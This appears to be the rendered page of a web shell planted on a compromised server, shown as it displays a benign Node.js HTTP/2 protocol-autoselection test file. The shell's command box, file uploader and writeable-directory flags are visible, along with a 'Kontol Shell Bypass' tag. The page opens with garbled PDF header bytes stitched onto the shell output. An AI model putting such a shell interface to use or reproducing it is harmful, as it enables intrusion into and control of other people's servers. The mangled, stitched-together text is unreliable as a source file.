%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-http2-autoselect-protocol.js
'use strict';
const common = require('../common');
if (!common.hasCrypto)
  common.skip('missing crypto');

const assert = require('assert');
const net = require('net');
const http = require('http');
const http2 = require('http2');

// Example test for HTTP/1 vs HTTP/2 protocol autoselection.
// Refs: https://github.com/nodejs/node/issues/34532

const h1Server = http.createServer(common.mustCall((req, res) => {
  res.end('HTTP/1 Response');
}));

const h2Server = http2.createServer(common.mustCall((req, res) => {
  res.end('HTTP/2 Response');
}));

const rawServer = net.createServer(common.mustCall(function listener(socket) {
  const data = socket.read(3);

  if (!data) { // Repeat until data is available
    socket.once('readable', () => listener(socket));
    return;
  }

  // Put the data back, so the real server can handle it:
  socket.unshift(data);

  if (data.toString('ascii') === 'PRI') { // Very dumb preface check
    h2Server.emit('connection', socket);
  } else {
    h1Server.emit('connection', socket);
  }
}, 2));

rawServer.listen(common.mustCall(() => {
  const { port } = rawServer.address();

  let done = 0;
  {
    // HTTP/2 Request
    const client = http2.connect(`http://localhost:${port}`);
    const req = client.request({ ':path': '/' });
    req.end();

    let content = '';
    req.setEncoding('utf8');
    req.on('data', (chunk) => content += chunk);
    req.on('end', common.mustCall(() => {
      assert.strictEqual(content, 'HTTP/2 Response');
      if (++done === 2) rawServer.close();
      client.close();
    }));
  }

  {
    // HTTP/1 Request
    http.get(`http://localhost:${port}`, common.mustCall((res) => {
      let content = '';
      res.setEncoding('utf8');
      res.on('data', (chunk) => content += chunk);
      res.on('end', common.mustCall(() => {
        assert.strictEqual(content, 'HTTP/1 Response');
        if (++done === 2) rawServer.close();
      }));
    }));
  }
}));

Kontol Shell Bypass